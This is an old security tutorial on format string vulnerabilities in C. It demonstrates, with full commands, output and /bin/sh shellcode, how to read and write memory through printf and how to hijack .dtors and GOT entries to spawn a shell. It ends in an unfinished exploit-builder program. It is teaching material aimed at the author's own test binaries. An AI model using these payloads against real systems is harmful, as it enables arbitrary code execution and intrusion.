Gotfault Security Community (GSC) ---------[ Chapter : 0x400 ] ---------[ Subject : Format Strings ] ---------[ Author : xgc/dx A.K.A Thyago Silva ] ---------[ Date : 11/02/2005 ] ---------[ Version : 2.5 ] |=-----------------------------------------------------------------------------=| ---------[ Table of Contents ] 0x410 - Objective 0x420 - Requisites 0x430 - Introduction to Format Strings 0x440 - The Format String Vulnerability 0x450 - Reading Memory Addresses 0x460 - Writing to Memory Addresses 0x470 - Direct Parameter Access (DPA) 0x480 - Overwriting Dtors Section 0x490 - Overwriting Global Offset Table 0x4a0 - Extra Analisys 0x4b0 - Format String Builder 0x4c0 - Conclusion |=-----------------------------------------------------------------------------=| ---------[ 0x410 - Objective ] This paper will show how the code can be vulnerable against format strings attacks and how to execute arbitrary code. ---------[ 0x420 - Requisites ] Memory Analisys/Introduction to Local Stack Overflow (Basic Module). ---------[ 0x430 - Introduction to Format Strings ] Format strings are simply a string of characters, with special format string identifiers. If you have programmed in C, you are familiar with functions such as printf(). The printf function takes a format string as the first argument and then variables which the format string will use. To makes the corret use of the printf function, and others ones of the family, you must specify a format specifier to be printed to the stdout. Some of the common format specifiers used by printf are: %c The character format specifier. %d The integer format specifier. %i The integer format specifier (same as %d). %f The floating-point format specifier. %s The string format specifier. %u The unsigned integer format specifier. %x The unsigned hexadecimal format specifier. %p Displays the corresponding argument that is a pointer. %n Records the number of characters written so far. Let's get analysis from some code. #include int main() { char *string = "Sample"; int A = 72; unsigned int B = 50; int one; int two; printf("[A] Dec: %d, Hex: %x, Unsigned: %u\n", A, A, A); printf("[B] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B); printf("[string] %s Address %08x\n", string, string); printf("one is located at: %08x\n", &one); printf("two is located at: %08x\n", &two); printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B); return 0; } [xgc@knowledge:~]$ gcc -o fmt_example fmt_example.c [xgc@knowledge:~]$ ./fmt_example [A] Dec: 72, Hex: 48, Unsigned: 72 [B] Dec: 50, Hex: 32, Unsigned: 50 [string] Sample Address 080485a0 one is located at: bffffb18 two is located at: bffffb14 A is 72 and is at bffffb20. B is 50 and is at bffffb1c. The first two printf() statements demonstrate the printing of variables A and B, using different format parameters. Following the output, the line labeled [string], simply shows the use of the %s format parameter. The variable string is actually a pointer containing the address of the string. The next ouput of the example demonstrates the use of the unary address operator, which have been showed the address of the variables. Finally the last part of the code. When this printf() function is called (as with any function), the arguments are pushed to the stack in reverse order. First the address of B is pushed, then the value of B, then the address of A, then the value of A, and finally the address of the format string. ---------[ 0x440 - The Format String Vulnerability ] Sometimes programmers print strings using printf(string), instead of printf("%s", string). Functionally, this works fine. It's a bug, because printf() is expecting format string parameters, If %s is forgotten(in this case) or simply ignored, printf will seek by the format string identifiers in the buffer(or input) itself. Check the code below: #include #include #include int main(int argc, char *argv[]) { char buffer[64]; static int value = 50; if(argc != 2) return -1; strcpy(buffer, argv[1]); printf("Right way:\n"); printf("%s\n", buffer); printf("Wrong way:\n"); printf(buffer); printf("\n"); printf("(-) value @ 0x%08x = %d 0x%08x\n", &value, value, value); return 0; } [xgc@knowledge:~]$ gcc -o fmt_bug fmt_bug.c [xgc@knowledge:~]$ ./fmt_bug testing. Right way: testing. Wrong way: testing. (-) value @ 0x0804960c = 50 0x00000032 [xgc@knowledge:~]$ It runs perfectly, so the programmer will not even notice anything, to test this you just must to pass out a format string parameter to it. This is simply done like the following. [xgc@knowledge:~]$ ./fmt_bug AAAA%x Right way: AAAA%x Wrong way: AAAAbffffae0 (-) value @ 0x0804960c = 50 0x00000032 [xgc@knowledge:~]$ ---------[ 0x450 - Reading from Memory Addresses ] When the %x format parameter was used, the hexadecimal representation of a 4-byte word in the stack was printed. This process can be used repeatedly to examine stack memory. Now if we want to know the address that points back to our string inputed, you would have to atleast placed something in argv[1] + format string parameters. This allows it to think the contents in name is an address. [xgc@knowledge:~]$ ./fmt_bug AAAA%x%x%x%x Right way: AAAA%x%x%x%x Wrong way: AAAAbffffae04008978e4014a8804014a870 (-) value @ 0x0804960c = 50 0x00000032 Let's fill more. [xgc@knowledge:~]$ ./fmt_bug AAAA%x%x%x%x%x%x%x%x Right way: AAAA%x%x%x%x%x%x%x%x Wrong way: AAAAbffffad04008978e4014a8804014a870bffffad440030c854014a88041414141 (-) value @ 0x0804960c = 50 0x00000032 [xgc@knowledge:~]$ The four bytes of 0x41 indicates that the eight format parameter is reading from the beginning of the format string to get its data. But if a valid memory address is used, this process could be used to read a string found at that memory address. Let's do something to demonstrate it. [xgc@knowledge:~]$ gdb ./fmt_bug -q Using host libthread_db library "/lib/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x80483fa (gdb) run Starting program: /home/xgc/fmt_bug Breakpoint 1, 0x080483fa in main () (gdb) x/s 0xbffffffa-100 0xbfffff96: "UAGE=en_US:en_GB:en" (gdb) 0xbfffffaa: "LOGNAME=xgc" (gdb) The address of the string "xgc" is located at the 0xbfffffae. Let's use the format string %s and %x with the exact location of our input using format parameters. [xgc@knowledge:~]$ ./fmt_bug `printf "\xae\xff\xff\xbf"`%x%x%x%x%x%x%x"->"%s Right way: ®ÿÿ¿%x%x%x%x%x%x%x->%s Wrong way: ®ÿÿ¿bffffab04008978e4014a8804014a870bffffab440030c854014a880->xgc (-) value @ 0x0804960c = 50 0x00000032 [xgc@knowledge:~]$ [xgc@knowledge:~]$ ./fmt_bug `printf "\xae\xff\xff\xbf"`%x%x%x%x%x%x%x"->"%x Right way: ®ÿÿ¿%x%x%x%x%x%x%x->%x Wrong way: ®ÿÿ¿bffffab04008978e4014a8804014a870bffffab440030c854014a880->bfffffae (-) value @ 0x0804960c = 50 0x00000032 [xgc@knowledge:~]$ ---------[ 0x460 - Writing to Memory Addresses ] If the %s format parameter can be used to read an memory address, the same technique using %n should be able to write to an memory address. To check out that, let's use our format string code. [xgc@knowledge:~]$ ./fmt_bug AAAA%x%x%x%x%x%x%x%x Right way: AAAA%x%x%x%x%x%x%x%x Wrong way: AAAAbffffab04008978e4014a8804014a870bffffab440030c854014a88041414141 (-) value @ 0x0804960c = 50 0x00000032 [xgc@knowledge:~]$ Our value variable is located at 0x0804960c, so as before, but now using %n to write, we're able to write to this address. [xgc@knowledge:~]$ ./fmt_bug `printf "\x60\x96\x04\x08"`%x%x%x%x%x%x%x%n Right way: %x%x%x%x%x%x%x%n Wrong way: bffffab04008978e4014a8804014a870bffffab440030c854014a880 (-) value @ 0x0804960c = 60 0x0000003c [xgc@knowledge:~]$ The resulting value in the variable depends on the number of bytes written before the %n. [xgc@knowledge:~]$ ./fmt_bug `printf "\x60\x96\x04\x08"`%x%x%x%x%x%x%10x%n Right way: %x%x%x%x%x%x%10x%n Wrong way: bffffab04008978e4014a8804014a870bffffab440030c85 4014a880 (-) value @ 0x0804960c = 62 0x0000003e [xgc@knowledge:~]$ As we can see, this can be controlled to a greater degree by manipulating the field width option. Let's play a bit. If now we know how to write on the address, we'll do it: 1- Write 0xde000000 at the address 0x0804960c 2- Write 0x00ad0000 at the address 0x0804960d 3- Write 0x0000be00 at the address 0x0804960e 4- Write 0x000000ef at the address 0x0804960f As an example, let's write the address 0xdeadbeef into the value variable. In memory, the first byte of the value variable should be 0xef, then 0xbe, then 0xad, and finally 0xde. Four separate writes to the memory addresses 0x0804960c, 0x0804960d, 0x0804960e, and 0x0804960f should accomplish this. To write the bytes inside each address we will do it: First : 0xef - [ number of value variable ] + [ number of the offset ] Second : 0xbe - 0xef Thirth : 0xad - 0xbe Fourth : 0xde - 0xad So let's write 0xef to the address 0x0804960c. [xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08"`%x%x%x%x%x%x%x%n Right way: %x%x%x%x%x%x%x%n Wrong way: bffffab04008978e4014a8804014a870bffffab440030c854014a880 (-) value @ 0x0804960c = 60 0x0000003c [xgc@knowledge:~]$ pcalc 0xef-60 179 0xb3 0y10110011 [xgc@knowledge:~]$ pcalc 179+8 187 0xbb 0y10111011 [xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08"`%x%x%x%x%x%x%187x%n Right way: %x%x%x%x%x%x%187x%n Wrong way: bffffab04008978e4014a8804014a870bffffab440030c85 4014a880 (-) value @ 0x0804960c = 239 0x000000ef [xgc@knowledge:~]$ Another argument is needed for another %x format parameter to increment the byte count up to get 0xbe. This argument could be anything; it just has to be four bytes long and must be located after the first arbitrary memory address of 0x0804960c. Because this is all still in the memory of the format string, it can be easily controlled. The word "HACK" is four bytes long and will work fine. So we do this process to all the address that will be written. Let's build first our buffer of addresses: "\x0c\x96\x04\x08HACK\x0d\x96\x04\x08HACK\x0e\x96\x04\x08HACK\x0f\x96\x04\x08" Now let's write 0xef to the first address of the buffer. [xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08HACK\x0d\x96\x04\x08HACK \x0e\x96\x04\x08HACK\x0f\x96\x04\x08"`%x%x%x%x%x%x%x%n Right way: HACKHACKHACK%x%x%x%x%x%x%x%n Wrong way: HACKHACKHACKbffffaa04008978e4014a8804014a870bffffaa440030c854014a880 (-) value @ 0x0804960c = 84 0x00000054 [xgc@knowledge:~]$ pcalc 0xef-84 155 0x9b 0y10011011 [xgc@knowledge:~]$ pcalc 155+8 163 0xa3 0y10100011 [xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08HACK\x0d\x96\x04\x08HACK \x0e\x96\x04\x08HACK\x0f\x96\x04\x08"`%x%x%x%x%x%x%163x%n Right way: HACKHACKHACK%x%x%x%x%x%x%163x%n Wrong way: HACKHACKHACKbffffaa04008978e4014a8804014a870bffffaa440030c85 4014a880 (-) value @ 0x0804960c = 239 0x000000ef [xgc@knowledge:~]$ Now let's write 0xbe to the second address of the buffer. [xgc@knowledge:~]$ pcalc 0xbe-0xef -49 0xffffffcf 0y11111111111111111111111111001111 [xgc@knowledge:~]$ A negative number is impossible to be inserted. So, instead of trying to subtract 0xbe from 0xef, the least significant byte is just wrapped around to 0x1be. This technique can be used to wrap around again to set the least significant byte to 0xbe for the second write. [xgc@knowledge:~]$ pcalc 0x1be-0xef 207 0xcf 0y11001111 [xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08HACK\x0d\x96\x04\x08HACK \x0e\x96\x04\x08HACK\x0f\x96\x04\x08"`%x%x%x%x%x%x%163x%n%207x%n Right way: HACKHACKHACK%x%x%x%x%x%x%163x%n%207x%n Wrong way: HACKHACKHACKbffffa904008978e4014a8804014a870bffffa9440030c85 4014a880 4b434148 (-) value @ 0x0804960c = 114415 0x0001beef [xgc@knowledge:~]$ Now let's write 0xad to the thirth address of the buffer. [xgc@knowledge:~]$ pcalc 0xad-0xbe -17 0xffffffef 0y11111111111111111111111111101111 [xgc@knowledge:~]$ pcalc 0x1ad-0xbe 239 0xef 0y11101111 [xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08HACK\x0d\x96\x04\x08HACK \x0e\x96\x04\x08HACK\x0f\x96\x04\x08"`%x%x%x%x%x%x%163x%n%207x%n%239x%n Right way: HACKHACKHACK%x%x%x%x%x%x%163x%n%207x%n%239x%n Wrong way: HACKHACKHACKbffffa904008978e4014a8804014a870bffffa9440030c85 4014a880 4b434148 4b434148 (-) value @ 0x0804960c = 44941039 0x02adbeef [xgc@knowledge:~]$ Now let's write 0xde to the fourth address of the buffer. [xgc@knowledge:~]$ pcalc 0xde-0xad 49 0x31 0y110001 [xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08HACK\x0d\x96\x04\x08 HACK\x0e\x96\x04\x08HACK\x0f\x96\x04\x08"`%x%x%x%x%x%x%163x%n%207x%n%239x%n%49x%n Right way: HACHAC%x%x%x%x%x%x%163x%n%207x%n%239x%n%49x%n Wrong way: HACHACbffffa804008978e4014a8804014a870bffffa8440030c85 4014a880 4b434148 4b434148 4b434148 (-) value @ 0x0804960c = -559038737 0xdeadbeef [xgc@knowledge:~]$ That's great. ---------[ 0x470 - Direct Parameter Access (DPA) ] It's a way to simplify format string exploits. In the previous example, each of the format parameter arguments had to be stepped through sequentially. This necessitated using several %x format parameters to step through parameter arguments until the beginning of the format string was reached. In addition, the sequential nature required three 4-byte words of "HACK" to properly write a full address to an arbitrary memory location. Direct Parameter Access allows parameters to be accessed directly by using the dollar sign qualifier. For example, look the code below: [xgc@knowledge:~]$ more dpa.c #include int main() { printf("4th: %4$d\n", 7, 20, 44, 65, 28, 2); return 0; } [xgc@knowledge:~]$ gcc -o dpa dpa.c [xgc@knowledge:~]$ ./dpa 4th: 65 [xgc@knowledge:~]$ Before to get data of the eight offset, we use "%x" eight times. Now we will get the same data writing: [xgc@knowledge:~]$ ./fmt_bug AAAA%8\$x Right way: AAAA%8$x Wrong way: AAAA41414141 (-) value @ 0x0804960c = 50 0x00000032 [xgc@knowledge:~]$ Direct Parameter Access also simplifies the writing of memory addresses. Because memory can be accessed directly, there's no need for 4-byte spacers of junk data to increment the byte output count. Let's writing a more realistic looking address of some environment variable which have as content no operation bytes and shellcode into the variable value using direct parameter access. [xgc@knowledge:~]$ export SHELLCODE=`perl -e 'print "\x90"x50,"\x31\xc0\x50\x68//sh\x68/bin \x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` [xgc@knowledge:~]$ gdb ./fmt_bug -q Using host libthread_db library "/lib/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x80483ca (gdb) run Starting program: /home/xgc/fmt_bug Breakpoint 1, 0x080483ca in main () (gdb) x/s 0xbffffffa-1030 0xbffffbf4: "me/xgc/fmt_bug" (gdb) 0xbffffc03: "SHELLCODE=", '\220' , "1ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200" (gdb) x/s 0xbffffc03+25 0xbffffc1c: '\220' , "1ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200" (gdb) Then, let's use 0xbffffc1c which points to the shellcode. A small draft can be made as below: First : 0x1c - [ distance (bytes) from the first address inputed ] Second : 0xfc - 0x1c Thirth : 0xff - 0xfc Fourth : 0xbf - 0xff Buffer of addresses to be written is: "\x0c\x96\x04\x08\x0d\x96\x04\x08\x0e\x96\x04\x08\x0f\x96\x04\x08" To figure out how the format string using direct parameter access will looks like, let's write another draft for it. First write: %[offset]$[value]x%[offset]$n Second write: %[offset]$[value]x%[offset+1]$n Thirth write: %[offset]$[value]x%[offset+2]$n Fourth write: %[offset]$[value]x%[offset+3]$n Now let's write 0x1c to the first address of the buffer. [xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08\x0d\x96\x04\x08\x0e\x96\x04 \x08\x0f\x96\x04\x08"`%8\$x%8\$n Right way: %8$x%8$n Wrong way: 804960c (-) value @ 0x0804960c = 23 0x00000017 [xgc@knowledge:~]$ pcalc 0x1c-16 12 0xc 0y1100 [xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08\x0d\x96\x04\x08\x0e\x96\x04 \x08\x0f\x96\x04\x08"`%8\$12x%8\$n Right way: %8$12x%8$n Wrong way: 804960c (-) value @ 0x0804960c = 28 0x0000001c [xgc@knowledge:~]$ Was decremented by 16 bytes because the first write is 16 bytes so far away from the first address inputed. Now let's write 0xfc to the second address of the buffer. [xgc@knowledge:~]$ pcalc 0xfc-0x1c 224 0xe0 0y11100000 [xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08\x0d\x96\x04\x08\x0e\x96\x04 \x08\x0f\x96\x04\x08"`%8\$12x%8\$n%8\$224x%9\$n Right way: %8$12x%8$n%8$224x%9$n Wrong way: 804960c 804960c (-) value @ 0x0804960c = 64540 0x0000fc1c [xgc@knowledge:~]$ Now let's write 0xff to the thirth address of the buffer. [xgc@knowledge:~]$ pcalc 0xff-0xfc 3 0x3 0y11 On this case, numbers < than 8, we need to add the 1 at front of the byte. [xgc@knowledge:~]$ pcalc 0x1ff-0xfc 259 0x103 0y100000011 [xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08\x0d\x96\x04\x08\x0e\x96\x04 \x08\x0f\x96\x04\x08"`%8\$12x%8\$n%8\$224x%9\$n%8\$259x%10\$n Right way: %8$12x%8$n%8$224x%9$n%8$259x%10$n Wrong way: 804960c 804960c 804960c (-) value @ 0x0804960c = 33553436 0x01fffc1c [xgc@knowledge:~]$ Now let's write 0xbf to the fourth address of the buffer. [xgc@knowledge:~]$ pcalc 0xbf-0xff -64 0xffffffc0 0y11111111111111111111111111000000 [xgc@knowledge:~]$ pcalc 0x1bf-0xff 192 0xc0 0y11000000 [xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08\x0d\x96\x04\x08\x0e\x96\x04 \x08\x0f\x96\x04\x08"`%8\$12x%8\$n%8\$224x%9\$n%8\$259x%10\$n%8\$192x%11\$n Right way: %8$12x%8$n%8$224x%9$n%8$259x%10$n%8$192x%11$n Wrong way: 804960c 804960c 804960c 804960c (-) value @ 0x0804960c = -1073742820 0xbffffc1c [xgc@knowledge:~]$ Ok, the shellcode address have been written to the value variable address sucessfuly. ---------[ 0x480 - Overwriting Dtors ] In binary programs compiled with the GNU C compiler, special table sections called .dtors and .ctors are made for destructors and constructors, respectively. Constructor functions are executed before the main function is executed, and destructor functions are executed just after the main function exits with an exit system call. The destructor functions and the .dtors table section are of particular interest. Let's see a code: #include static void cleanupc(void) __attribute__ ((constructor)); static void cleanupd(void) __attribute__ ((destructor)); void cleanupc(void) { printf("Step 0x1: Inside in the cleanupc function attributed to constructor.\n"); } int main() { printf("Step 0x2: Inside main function.\n"); } void cleanupd(void) { printf("Step 0x3: Inside in the cleanupd function attributed to destructor.\n"); } [xgc@knowledge:~]$ gcc -o dtors_ctors_sample dtors_ctors_sample.c [xgc@knowledge:~]$ ./dtors_ctors_sample Step 0x1: Inside in the cleanupc function attributed to constructor. Step 0x2: Inside main function. Step 0x3: Inside in the cleanupd function attributed to destructor. [xgc@knowledge:~]$ The nm command can be used to find the address of the cleanup function, and objdump can be used to examine the sections of the binary. [xgc@knowledge:~]$ nm ./dtors_ctors_sample 080496f0 A __bss_start 080482e4 t call_gmon_start 08048384 t cleanupc 080483b6 t cleanupd 080496f0 b completed.1 080496c4 d __CTOR_END__ 080496bc d __CTOR_LIST__ 080495e4 D __data_start 080495e4 W data_start 08048490 t __do_global_ctors_aux 08048310 t __do_global_dtors_aux 080495e8 D __dso_handle 080496d0 d __DTOR_END__ 080496c8 d __DTOR_LIST__ 080495f4 D _DYNAMIC 080496f0 A _edata 080496f4 A _end 080484c0 T _fini 080495e4 A __fini_array_end 080495e4 A __fini_array_start 080484e0 R _fp_hw 08048350 t frame_dummy 080495f0 r __FRAME_END__ 080496d8 D _GLOBAL_OFFSET_TABLE_ w __gmon_start__ 08048480 T __i686.get_pc_thunk.bx 08048278 T _init 080495e4 A __init_array_end 080495e4 A __init_array_start 080484e4 R _IO_stdin_used 080496d4 d __JCR_END__ 080496d4 d __JCR_LIST__ w _Jv_RegisterClasses 08048430 T __libc_csu_fini 080483d0 T __libc_csu_init U __libc_start_main@@GLIBC_2.0 08048398 T main 080495ec d p.0 U printf@@GLIBC_2.0 080482c0 T _start [xgc@knowledge:~]$ objdump -s -j .dtors ./dtors_ctors_sample ./dtors_ctors_sample: file format elf32-i386 Contents of section .dtors: 80496c8 ffffffff b6830408 00000000 ............ [xgc@knowledge:~]$ An interesting detail about the .dtors section is that it's a writable section. An object dump of the headers will verify this by showing that the .dtors section isn't labeled READONLY. [xgc@knowledge:~]$ objdump -h ./dtors_ctors_sample | grep -A 1 .dtor ./dtors_ctors_sample: file format elf32-i386 -- 18 .dtors 0000000c 080496c8 080496c8 000006c8 2**2 CONTENTS, ALLOC, LOAD, DATA [xgc@knowledge:~]$ Because the .dtors section is writable, if the address after the 0xffffffff is overwritten with a memory address, the program's execution flow will be directed to that address when the program exits. This will be the address of __DTOR_LIST__ plus 4, which is 0x080496d0, which is __DTOR_END__. Before, we have wrote the follow format string with direct parameter access: "%8\$12x%8\$n%8\$224x%9\$n%8\$259x%10\$n%8\$192x%11\$n" it have been written the address 0xbffffc1c, which pointes to the shellcode, on the value varible. Now let's build our buffer of .dtors addresses. [xgc@knowledge:~]$ nm ./fmt_bug | grep DTOR 080496e8 d __DTOR_END__ 080496e4 d __DTOR_LIST__ [xgc@knowledge:~]$ Building our buffer of addresses to be written: "\xe8\x96\x04\x08\xe9\x96\x04\x08\xea\x96\x04\x08\xeb\x96\x04\x08" Let's see if it works. [xgc@knowledge:~]$ ./fmt_bug `printf "\xe8\x96\x04\x08\xe9\x96\x04\x08\xea\x96\x04 \x08\xeb\x96\x04\x08"`%8\$12x%8\$n%8\$224x%9\$n%8\$259x%10\$n%8\$192x%11\$n Right way: %8$12x%8$n%8$224x%9$n%8$259x%10$n%8$192x%11$n Wrong way: 80496e8 80496e8 80496e8 80496e8 (-) value @ 0x0804960c = 50 0x00000032 sh-2.05b$ Dtors have been overwritten sucessfuly and shellcode executed. ---------[ 0x490 - Overwriting Global Offset Table ] A program could use a function in a shared library many times, it's useful to have a table to reference all the functions. Another special section in compiled programs is used for this purpose the Procedure Linkage Table, or PLT for short. This section consists of many jump instructions, each one corresponding to the address of a function. It works sort of like a springboard. Each time a shared function needs to be called, control will pass through the procedure linkage table. [xgc@knowledge:~]$ objdump -d -j .plt ./fmt_bug ./fmt_bug: file format elf32-i386 Disassembly of section .plt: 080482b8 <.plt>: 80482b8: ff 35 88 96 04 08 pushl 0x8049688 80482be: ff 25 8c 96 04 08 jmp *0x804968c 80482c4: 00 00 add %al,(%eax) 80482c6: 00 00 add %al,(%eax) 80482c8: ff 25 90 96 04 08 jmp *0x8049690 80482ce: 68 00 00 00 00 push $0x0 80482d3: e9 e0 ff ff ff jmp 80482b8 <_init+0x18> 80482d8: ff 25 94 96 04 08 jmp *0x8049694 80482de: 68 08 00 00 00 push $0x8 80482e3: e9 d0 ff ff ff jmp 80482b8 <_init+0x18> 80482e8: ff 25 98 96 04 08 jmp *0x8049698 80482ee: 68 10 00 00 00 push $0x10 80482f3: e9 c0 ff ff ff jmp 80482b8 <_init+0x18> [xgc@knowledge:~]$ objdump -h ./fmt_bug | grep -A 1 .plt 8 .rel.plt 00000018 08048288 08048288 00000288 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA -- 10 .plt 00000040 080482b8 080482b8 000002b8 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE As this output shows, the procedure linking table is unfortunately read-only. But closer examination of the jump instructions reveals that they aren't jumping to addresses, but pointers to addresses. This means that the actual locations of all the functions are located at the memory addresses 0x80496f8, 0x80496fc, 0x8049700, and 0x8049704. These memory addresses lie in another special section, called the global offset table (GOT). One very interesting detail about the global offset table is that it isn't marked as read-only, as the following output shows. [xgc@knowledge:~]$ objdump -h ./fmt_bug | grep -A 1 .got 20 .got 0000001c 08049684 08049684 00000684 2**2 CONTENTS, ALLOC, LOAD, DATA [xgc@knowledge:~]$ objdump -d -j .got ./fmt_bug ./fmt_bug: file format elf32-i386 Disassembly of section .got: 08049684 <_GLOBAL_OFFSET_TABLE_>: 8049684: a8 95 04 08 00 00 00 00 00 00 00 00 ce 82 04 08 ................ 8049694: de 82 04 08 ee 82 04 08 00 00 00 00 ............ [xgc@knowledge:~]$ This shows jmp *0x8049694 in the procedure linkage table actually jumps the program execution to 0x080482de, because 0x080482de is located at 0x8049694 in the global offset table. The necessary information, including the function names, can be obtained by displaying the dynamic relocation entries for the binary by using objdump. [xgc@knowledge:~]$ objdump -R ./fmt_bug ./fmt_bug: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804969c R_386_GLOB_DAT __gmon_start__ 08049690 R_386_JUMP_SLOT __libc_start_main 08049694 R_386_JUMP_SLOT printf 08049698 R_386_JUMP_SLOT strcpy [xgc@knowledge:~]$ We see that the jmp instructions have associated with the print and strcpy functions. So, we will overwrite printf function address with our format string which will write the address of the shellcode there. Let's see if it works. [xgc@knowledge:~]$ ./fmt_bug `printf "\x94\x96\x04\x08\x95\x96\x04\x08\x96\x96\x04 \x08\x97\x96\x04\x08"`%8\$12x%8\$n%8\$224x%9\$n%8\$259x%10\$n%8\$192x%11\$n Right way: %8$12x%8$n%8$224x%9$n%8$259x%10$n%8$192x%11$n Wrong way: sh-2.05b$ When fmt_bug tries to call the printf function, the address of the printf function is looked up in the global offset table and is jumped to via the procedure linkage table. Because the actual address has been switched with the address for the shellcode in the environment, a shell is spawned. ---------[ 0x49a - Extra Analisys ] Analisys/Exploiting of the second source code: #include int main(int argc, char *argv[]) { printf(argv[1]); printf("\n"); } [xgc@knowledge:~]$ gcc -o fmt_bug2 fmt_bug2.c [xgc@knowledge:~]$ ./fmt_bug2 AAAA%85\$x AAAA35382541 [xgc@knowledge:~]$ ./fmt_bug2 AAAA%84\$x AAAA41414100 [xgc@knowledge:~]$ ./fmt_bug2 AAAA%84\$xB AAAA41414141B Overwriting DTORS Section: [xgc@knowledge:~]$ nm ./fmt_bug2 | grep DTOR 080495bc d __DTOR_END__ 080495b8 d __DTOR_LIST__ [xgc@knowledge:~]$ ./fmt_bug2 `printf "\xbc\x95\x04\x08\xbd\x95\x04\x08\xbe\x95\x04 \x08\xbf\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n Segmentation fault (core dumped) [xgc@knowledge:~]$ ./fmt_bug2 `printf "\xbc\x95\x04\x08\xbd\x95\x04\x08\xbe\x95\x04 \x08\xbf\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n. Segmentation fault (core dumped) [xgc@knowledge:~]$ ./fmt_bug2 `printf "\xbc\x95\x04\x08\xbd\x95\x04\x08\xbe\x95\x04 \x08\xbf\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n.. Segmentation fault (core dumped) [xgc@knowledge:~]$ ./fmt_bug2 `printf "\xbc\x95\x04\x08\xbd\x95\x04\x08\xbe\x95\x04 \x08\xbf\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n... 80495bc 80495bc 80495bc 80495bc... sh-2.05b$ Overwriting Global Offset Table at printf() address: [xgc@knowledge:~]$ objdump -d -j .plt ./fmt_bug2 ./fmt_bug2: file format elf32-i386 Disassembly of section .plt: 08048290 <.plt>: 8048290: ff 35 c8 95 04 08 pushl 0x80495c8 8048296: ff 25 cc 95 04 08 jmp *0x80495cc 804829c: 00 00 add %al,(%eax) 804829e: 00 00 add %al,(%eax) 80482a0: ff 25 d0 95 04 08 jmp *0x80495d0 80482a6: 68 00 00 00 00 push $0x0 80482ab: e9 e0 ff ff ff jmp 8048290 <_init+0x18> 80482b0: ff 25 d4 95 04 08 jmp *0x80495d4 80482b6: 68 08 00 00 00 push $0x8 80482bb: e9 d0 ff ff ff jmp 8048290 <_init+0x18> [xgc@knowledge:~]$ objdump -R ./fmt_bug2 ./fmt_bug2: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080495d8 R_386_GLOB_DAT __gmon_start__ 080495d0 R_386_JUMP_SLOT __libc_start_main 080495d4 R_386_JUMP_SLOT printf [xgc@knowledge:~]$ ./fmt_bug2 `printf "\xd4\x95\x04\x08\xd5\x95\x04\x08\xd6\x95\x04 \x08\xd7\x95\x04\x08"`%85\$x. 80495d4. [xgc@knowledge:~]$ ./fmt_bug2 `printf "\xd4\x95\x04\x08\xd5\x95\x04\x08\xd6\x95\x04 \x08\xd7\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n Segmentation fault (core dumped) [xgc@knowledge:~]$ ./fmt_bug2 `printf "\xd4\x95\x04\x08\xd5\x95\x04\x08\xd6\x95\x04 \x08\xd7\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n. Segmentation fault (core dumped) [xgc@knowledge:~]$ ./fmt_bug2 `printf "\xd4\x95\x04\x08\xd5\x95\x04\x08\xd6\x95\x04 \x08\xd7\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n.. Segmentation fault (core dumped) [xgc@knowledge:~]$ ./fmt_bug2 `printf "\xd4\x95\x04\x08\xd5\x95\x04\x08\xd6\x95\x04 \x08\xd7\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n... sh-2.05b$ ---------[ 0x49b - Format String Builder ] Follow the code below: #include #include #include #include #define ADD 0x100 #define OCT(b0, b1, b2, b3, addr) { \ b0 = (addr >> 24) & 0xff; \ b1 = (addr >> 16) & 0xff; \ b2 = (addr >> 8) & 0xff; \ b3 = (addr ) & 0xff; \ } void usage (char *program) { fprintf(stderr, "\n" ); fprintf(stderr, "Usage : %s [-nh] -l -r -o -b \n", program); fprintf(stderr, " -n :\tFormat string with %%n\n"); fprintf(stderr, " -h :\tFormat string with %%hn\n"); fprintf(stderr, " -l : address to overwrite (like .dtors)\n"); fprintf(stderr, " -r : where we want to return (shellcode)\n" ); fprintf(stderr, " -o : distance in 'words' to reach the part of the buffer we control\n" ); fprintf(stderr, " -b : amount of char previously in the string\n\n" ); } char *nway(unsigned int retaddr, unsigned int offset, unsigned int base) { char *buff; unsigned char b0, b1, b2, b3; unsigned int length = 128; int start = ((base / ADD) + 1) * ADD; OCT(b0, b1, b2, b3, retaddr); if(!(buff = (char *)malloc(256))) { printf("Can't allocate buffer.\n"); exit(-1); } memset(buff, 0x00, sizeof(buff)); snprintf(buff, length, "%%%dx%%%d$n%%%dx%%%d$n" 